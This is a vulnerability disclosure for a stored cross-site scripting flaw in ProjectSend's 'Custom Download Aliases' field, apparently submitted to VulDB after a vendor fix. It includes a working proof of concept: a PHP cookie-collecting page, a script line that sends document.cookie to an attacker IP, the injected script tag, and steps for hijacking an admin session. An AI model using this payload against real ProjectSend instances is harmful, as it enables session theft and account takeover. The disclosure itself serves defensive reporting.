Submit #686533: projectsend web r1720 Cross Site Scripting

Below is the same information I send to the vendor, minus the screenshots because this submission form does not support sending screenshots. If requested, please let me know and I can attach the whole report I sent to the developer containing all the screenshots and markdown formatting. Or if there is any other proof I need to provide, please let me know, happy to provide any additional detail.
Here the credits me for reporting the vulnerability https://github.com/projectsend/projectsend/releases/tag/r1945 :
"Security Fixes:
XSS vulnerability fixes in file editor and custom download aliases (reported by Raducu Alexandru-ionut)"
And again in the github commit https://github.com/projectsend/projectsend/commit/334da1ea39cb12f6b6e98dd2f80bb033e0c7b845

However when I asked the vendor if it would be possible to request a CVE in my name, there was only silence.

### Summary
The web application ProjectSend allows authenticated users with the role "accountmanager" and above to u.pload files. As part of the upload process or after uploading the file, users can set the " Custom Download Aliases" property. This is user controlled input that is not properly validated and sanitized, which allows for the injection of arbitrary javascript code that gets executed whenever another user visits the Files > Manage downloads

### Details
The issue is present in files-edit.php
```
foreach ($file['custom_downloads'] as $custom_download) {
if ($custom_download['link']) {
$statement = $dbh->prepare('INSERT INTO ' . TABLE_CUSTOM_DOWNLOADS . ' (link, file_id, client_id) VALUES (:link, :file_id, :client_id)');
$statement->bindParam(':link', $custom_download['link']);
$statement->bindParam(':file_id', $file['id']);
$statement->bindParam(':client_id', CURRENT_USER_ID);
$statement->execute();
}
}
```
"$custom_download['link']" is inserted into the database without any input validation or sanitization, causing the stored XSS vulnerability.

### PoC
The PoC below shows how an authenticated attacker with accountmanager role can escalate privileges to the admin role, on a ProjectSend instance running on 192.168.74.131:1234, with the attacker machine running on 192.168.74.128.
1. The attacker prepares the below index.php file, IP and port needs updating based on the target.
```
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['http://192.168.74.131:1234']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>

```
2. The attacker prepares a script.js file, IP needs to be changed to attacker IP, then starts a local php server with `sudo php -S x.x.x.x:80`
```
new Image().src='http://192.168.74.128/index.php?c='+document.cookie
```
3. The attacker logs in to the web application
4. The attacker uploads a basic file (I used file.txt with "some text" as content) by navigating to Files > Upload > Add Files > Upload. It's important for the file to not be empty, otherwise it cannot be uploaded.
5. During the upload process, modify the "Custom Download Aliases" property with the payload `<script src=http://192.168.74.128/script.js></script>` as below and presses Save
Inline image

6. Later when an admin user(or any user) visits Files > Manage Downloads the payload will get triggered and the attacker will receive the PHPSESSID cookie.
Inline image

7. Using cookie editor browser extension or the the developer tools, the attacker can modify their cookie to that of the admin and hijack the admin account performing vertical privilege escalation.
Inline image

8. Then refreshing the page, now the accountmanager user is authenticated as the admin user.
Inline image

### Impact
Impact depends on the privileges assigned to the user who visits the Files > Manage Downloads page. In the worst case, when an admin visits the page, the attacker gets full control of the admin account and they can modify the admin password, delete users, create new users compromising, tamper with web application settings, compromising the confidentiality, integrity and availability of the web application.

CVSS score 8.8- HIGH
Inline image

• Source: ⚠️ https://github.com/projectsend/projectsend/releases/tag/r1945
• User: Xoriath (UID 92214)
• Submission: 10/31/2025 08:52 (11 months ago)
• Moderation: 11/15/2025 07:24 (15 days later)
• Status: Accepted
• VulDB entry: 332558 [projectsend up to r1720 File Editor/Custom Download Aliases cross site scripting]
• Points: 20